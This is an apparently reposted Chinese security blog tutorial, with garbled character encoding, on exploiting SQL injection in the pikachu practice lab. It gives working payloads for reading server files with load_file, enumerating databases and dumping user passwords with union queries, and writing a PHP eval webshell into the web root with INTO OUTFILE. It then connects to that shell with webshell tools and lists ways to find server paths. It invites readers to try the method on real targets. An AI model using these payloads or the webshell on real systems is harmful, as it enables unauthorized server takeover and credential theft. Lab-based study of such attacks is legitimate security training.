分享一個(gè)非常詳細(xì)的網(wǎng)絡(luò)安全筆記,是我學(xué)習(xí)網(wǎng)安過(guò)程中用心寫的,可以點(diǎn)開(kāi)以下鏈接獲?。?/strong>
超詳細(xì)的網(wǎng)絡(luò)安全筆記
二,文件包含漏洞詳解
前言
本篇博客主要是通過(guò)piakchu靶場(chǎng)來(lái)講解如何通過(guò)SQL注入漏洞來(lái)寫入文件,讀取文件。通過(guò)SQL輸入來(lái)注入木馬來(lái)getshell等,講解了比較詳細(xì)的過(guò)程;
如果想要學(xué)習(xí)SQL注入原理以及如何進(jìn)行SQL注入,我也寫了一篇詳細(xì)的SQL注入方法及原理鏈接如下
【超詳細(xì)】你知道什么是SQL注入嗎?直到如何通過(guò)SQL注入來(lái)控制目標(biāo)服務(wù)器嗎?一篇文章教你sql注入漏洞的原理及方法----sql注入【上】_ANii_Aini的博客-CSDN博客SQL注入漏洞詳解。包括原理,分類比如數(shù)字型,字符型,搜索型,xx型,寬字節(jié)注入,報(bào)錯(cuò)注入,盲注,有無(wú)回顯等,各種注入payload以及產(chǎn)生原因等等https://blog.csdn.net/m0_67844671/article/details/133031125
一,SQL注入讀取文件或數(shù)據(jù)庫(kù)數(shù)據(jù)
主要用pikachu靶場(chǎng)演示,靶場(chǎng)安裝請(qǐng)參考如下鏈接
【網(wǎng)路安全 --- pikachu靶場(chǎng)安裝】超詳細(xì)的pikachu靶場(chǎng)安裝教程(提供靶場(chǎng)代碼及工具)_網(wǎng)絡(luò)安全_Aini的博客-CSDN博客
1-1 讀取文件數(shù)據(jù)
前提條件
## 1、通過(guò)信息收集獲取到想要讀取的目標(biāo)文件的真實(shí)物理路徑
## 2、mysql開(kāi)啟了secure_file_priv這個(gè)配置
如何開(kāi)啟mysql的secure_file_priv這個(gè)配置呢??
找個(gè)空白地方協(xié)商這個(gè)配置即可
?然后重啟mysql服務(wù)即可生效。?
讀取文件借助mysql自帶的功能函數(shù)load_file
比如我們先在根目錄寫一個(gè)文件aini.txt的文件
現(xiàn)在要讀取這個(gè)文件 (根路徑為C:\tools\phpstudy\PHPTutorial\WWW)
先用終端演示,用物理機(jī)終端連上靶機(jī)的數(shù)據(jù)庫(kù)
先授權(quán),在靶機(jī)打開(kāi)數(shù)據(jù)庫(kù)命令行
?先輸入密碼進(jìn)入數(shù)據(jù)庫(kù)終端,然后授權(quán)遠(yuǎn)程主機(jī)登錄
授權(quán)代碼行解釋:
grant all? ?---------- 表示給予所有權(quán)限
on? x.x? ? ----------- 所有庫(kù)所有表
(pikachu.*表示piakchu所有表,pikachu.user表示只能操作pikachu庫(kù)的user表)
to root@192.168.31.% ------- 表示可以以root用戶的身份在192.168.31段主機(jī)上登錄
indentified by 'aini'? 登錄的驗(yàn)證密碼為 'aini'
授權(quán)完就可以用物理機(jī)終端進(jìn)入,如果不想用物理機(jī)的也可以直接在靶機(jī)上操作?
讀取文件的代碼(用load_file函數(shù),別忘了用\對(duì)路徑里的\進(jìn)行轉(zhuǎn)義)?
?select load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");
?測(cè)試union聯(lián)合查詢語(yǔ)句
select id,email from member where username = 'vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");
?用網(wǎng)站SQL注入漏洞去注入 (以pikachu靶場(chǎng)為例)
payload為
vince' union select 1,load_file("C:\\tools\\phpstudy\\PHPTutorial\\WWW\\aini.txt");#
通過(guò)聯(lián)合查詢,成功讀取到了服務(wù)器文件?
1-2 讀取數(shù)據(jù)庫(kù)數(shù)據(jù)
1-2-1 判斷查詢的字段個(gè)數(shù)
' order by 1,2,3--+ #報(bào)錯(cuò),表示字段個(gè)數(shù)小于3個(gè),那么減少一個(gè)字段來(lái)嘗試
' order by 1,2--+ ? #不報(bào)錯(cuò),表示字段個(gè)數(shù)為2個(gè),如果還報(bào)錯(cuò),那么繼續(xù)減少一個(gè)來(lái)嘗試
' order by 1,2#
' order by 1,2,3#
payload為?
vine' order by 1,2,3;#
表示位置的列數(shù)3,表名3是多余的,后端查詢語(yǔ)句中不是三個(gè)字段,那就改payload,改為如下?
vince' order by 1,2;#
表示,這個(gè)字符型注入的查詢,后臺(tái)select語(yǔ)句后面查詢的是2個(gè)字段數(shù)據(jù),那么我們就知道,通過(guò)union聯(lián)合查詢的時(shí)候,查詢的數(shù)據(jù)是2個(gè)字段數(shù)據(jù)了。
?1-2-2?查詢當(dāng)前數(shù)據(jù)庫(kù)名、用戶名、版本等信息
' union select user(),version();#
?1-2-3?獲取mysq所有庫(kù)名
' union select 1,group_concat(schema_name) from information_schema.schemata;#
## 瀏覽器地址欄要URL編碼,表單直接#或者 -- 就可以
' union select 1,group_concat(schema_name) from information_schema.schemata;#
#和 -- mysql的注釋符號(hào) (注意--前面有空格)
1-2-4?獲取pikachu庫(kù)的所有表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
1-2-5?獲取表中的字段名
' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;#
?1-2-6?獲取所有字段數(shù)據(jù)
' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users;#
## 其中0x7c表示|,我這里就是為了通過(guò)|來(lái)拼接每個(gè)數(shù)據(jù)。group_concat類似于concat,也是做字符串拼接的,是MySQL的一個(gè)內(nèi)置函數(shù)?
?1-3 getshell
1-3-1 木馬利用試驗(yàn)
1-1 準(zhǔn)備木馬
首先在站點(diǎn)根目錄創(chuàng)建一個(gè)aini.php文件,寫入一句話木馬
<?php @eval($_POST['aini']);?>? ?------? 注意里面寫的 aini 是連接密碼,可以任意指定
1-2 用工具連接木馬?
## 菜刀、蟻劍、冰蝎、哥斯拉四大木馬利用神器,現(xiàn)在推薦冰蝎和蟻劍,功能更好一些,如果需要工具可以留言
用蟻劍 進(jìn)行連接
注意連接密碼是寫一句話木馬的時(shí)候?指定的連接密碼
寫好了以后點(diǎn)擊測(cè)試連接,然后點(diǎn)擊右上角添加即可
?雙擊就就可以成功拿到對(duì)方服務(wù)器了
?右擊還有很多別的功能,數(shù)據(jù)庫(kù)操作,文件操作等,不細(xì)講了
以后專門寫一篇博客介紹這些一句話木馬利用工具的利用過(guò)程
接下來(lái)用菜刀這款工具使一下?
右擊添加也行,編輯也行
填寫地址和連接木馬以后點(diǎn)右下角‘編輯’即可
?雙擊就可以拿到對(duì)方服務(wù)器了
?
?這就是一句話木馬的簡(jiǎn)單利用
1-3-2 通過(guò)注入點(diǎn)進(jìn)行木馬注入
2-1?通過(guò)注入點(diǎn)寫入木馬程序的前提條件
1. mysql開(kāi)啟了secure_file_priv=""的配置 ---- 如何開(kāi)啟前面講過(guò)了
2. 要知道網(wǎng)站代碼的真實(shí)物理路徑 ---------- 需要信息收集,通過(guò)別的方法來(lái)直到真實(shí)路徑
3. 物理路徑具備寫入權(quán)限 ----------- 要不然木馬寫不進(jìn)去
4. 最好是mysql的root用戶,這個(gè)條件非必須,但是有最好
2-2?通過(guò)注入點(diǎn)寫入木馬程序
' union select "<?php @xx($_POST['aini']);?>",2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\muma.php";#
' union select "<?php @eval($_POST['aini']);?>",2 into outfile "C:\\tools\\phpStudy\\PHPTutorial\\WWW\\muma.php";#
## xx表示eval,因?yàn)橹苯訉慹val,我們的這個(gè)md文檔會(huì)被殺軟殺掉的。
我用第二條payload 向根路徑寫入了一個(gè)muma.php文件?
報(bào)了個(gè)warning,不過(guò)我們?nèi)タ匆幌掳袡C(jī)根路徑,有沒(méi)有寫入成功
?寫入成功了
?我們用工具利用一下看看
?成功了,所以在真實(shí)SQL注入環(huán)境中,看看能不能通過(guò)注入一句戶木馬來(lái)控制目標(biāo)主機(jī)
2-3?獲得后臺(tái)真實(shí)物理路徑的方法
## 1、收集站點(diǎn)敏感目錄,比如phpinfo.php探針文件是否可以訪問(wèn)到
## 2、站點(diǎn)網(wǎng)址輸入一些不存在的網(wǎng)址或者加一些非法參數(shù)數(shù)據(jù),讓網(wǎng)站報(bào)錯(cuò),看錯(cuò)誤信息中是否存在路徑信息3、指紋信息收集
? ? ## nginx默認(rèn)站點(diǎn)目錄: /usr/share/nginx/html,配置文件路徑:/etc/nginx/nginx.conf
? ? ## apache默認(rèn)站點(diǎn)目錄:/var/www/html
? ? ...
## 4、通過(guò)站點(diǎn)其他漏洞來(lái)獲取配置信息、真實(shí)物理路徑信息,比如如果發(fā)現(xiàn)遠(yuǎn)程命令執(zhí)行漏洞(后面會(huì)講到各種其他漏洞),針對(duì)php的站點(diǎn),直接執(zhí)行一個(gè)phpinfo()函數(shù),可以看到phpinfo.php所展示的各種信息等等。
## 5、其他思路,反正就是不斷的嘗試。
mysql數(shù)據(jù)庫(kù)的SQL注入就分享到這里,如果需要靶場(chǎng)環(huán)境或者工具可以留言文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-723199.html
若有不懂的地方可以留言,歡迎技術(shù)交流文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-723199.html
到了這里,關(guān)于【網(wǎng)絡(luò)安全---sql注入(2)】如何通過(guò)SQL注入getshell?如何通過(guò)SQL注入讀取文件或者數(shù)據(jù)庫(kù)數(shù)據(jù)?一篇文章告訴你過(guò)程和原理。的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!